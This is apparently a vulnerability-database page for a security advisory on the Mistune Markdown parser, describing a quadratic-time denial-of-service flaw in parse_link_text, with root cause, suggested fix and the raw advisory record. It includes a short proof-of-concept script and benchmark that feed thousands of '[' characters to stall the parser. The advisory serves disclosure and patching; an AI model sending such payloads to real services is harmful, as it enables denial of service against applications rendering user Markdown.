GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-QCQ2-496W-V96P

Vulnerability from github – Published: 2026-07-09 23:52 – Updated: 2026-07-09 23:52
VLAI
Summary
Mistune: Potential DoS via quadratic-time parsing in parse_link_text
Details

Summary

Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.

Affected component

mistune/inline_parser.py → parse_link_text

Description

When parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior. An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.

Root cause

The vulnerability stems from a two-loop interaction: - The outer loop in InlineParser.parse() (inline_parser.py) advances only 1 character at a time when parse_link() returns None - Each failed attempt calls parse_link_text() which performs an O(n) scan to the end of the string looking for a closing ] - With n consecutive [ characters, this results in O(n) × O(n) = O(n²) total work

PoC

Run below python script

import mistune
import time

md = mistune.create_markdown()

s = "[" * 6400

t = time.perf_counter()
md(s)
print(time.perf_counter() - t)

image

Benmark poc Run below code for benchmark

import mistune
import time

md = mistune.create_markdown()

sizes = [100,200,400,800,1600,3200,6400]

for n in sizes:
    s = "[" * n

    t0 = time.perf_counter()
    md(s)
    dt = time.perf_counter() - t0

    print(f"{n:6d} {dt:.6f}")

image

Observed behaviour

python3 benchmark.py 
   100 0.001609
   200 0.003207
   400 0.012906
   800 0.050220
  1600 0.197307
  3200 0.801172
  6400 3.190393

Execution time grows superlinearly, consistent with O(n²) complex

Impact

This can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:

  • Web applications (comments, posts, content rendering)
  • API services processing Markdown
  • Documentation rendering systems
  • A small (~6 KB) payload can block CPU for multiple seconds.

Suggested fix

Return the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time

Security Classification

CWE-400: Uncontrolled Resource Consumption Denial of Service (CPU exhaustion)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49851"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T23:52:27Z",
    "nvd_published_at": "2026-06-24T18:17:18Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nMistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n\u00b2)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.\n\n### Affected component\nmistune/inline_parser.py \u2192 **parse_link_text**\n\n### Description\nWhen parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior.\nAn attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.\n\n### Root cause\nThe vulnerability stems from a two-loop interaction:\n- The outer loop in `InlineParser.parse()` (inline_parser.py) advances \n  only 1 character at a time when parse_link() returns None\n- Each failed attempt calls `parse_link_text()` which performs an O(n) \n  scan to the end of the string looking for a closing `]`\n- With n consecutive `[` characters, this results in O(n) \u00d7 O(n) = O(n\u00b2) \n  total work\n\n### PoC\nRun below python script\n```\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\ns = \"[\" * 6400\n\nt = time.perf_counter()\nmd(s)\nprint(time.perf_counter() - t)\n```\n\u003cimg width=\"2028\" height=\"1277\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15d5bc0b-35f8-4a15-85e0-cbc314a45b06\" /\u003e\n\n**Benmark poc**\nRun below code for benchmark\n```\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\nsizes = [100,200,400,800,1600,3200,6400]\n\nfor n in sizes:\n    s = \"[\" * n\n\n    t0 = time.perf_counter()\n    md(s)\n    dt = time.perf_counter() - t0\n\n    print(f\"{n:6d} {dt:.6f}\")\n```\n\u003cimg width=\"2503\" height=\"1341\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f09a7bbb-6927-4ba2-afb1-444dd913b84e\" /\u003e\n\n\n### Observed behaviour\n```\npython3 benchmark.py \n   100 0.001609\n   200 0.003207\n   400 0.012906\n   800 0.050220\n  1600 0.197307\n  3200 0.801172\n  6400 3.190393\n```\nExecution time grows superlinearly, consistent with O(n\u00b2) complex\n\n### Impact\nThis can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:\n\n- Web applications (comments, posts, content rendering)\n- API services processing Markdown\n- Documentation rendering systems\n- A small (~6 KB) payload can block CPU for multiple seconds.\n\n### Suggested fix\nReturn the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time\n\n### Security Classification\nCWE-400: Uncontrolled Resource Consumption\nDenial of Service (CPU exhaustion)",
  "id": "GHSA-qcq2-496w-v96p",
  "modified": "2026-07-09T23:52:28Z",
  "published": "2026-07-09T23:52:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-qcq2-496w-v96p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49851"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-49851"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492304"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-49851.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": " Mistune: Potential DoS via quadratic-time parsing in parse_link_text"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…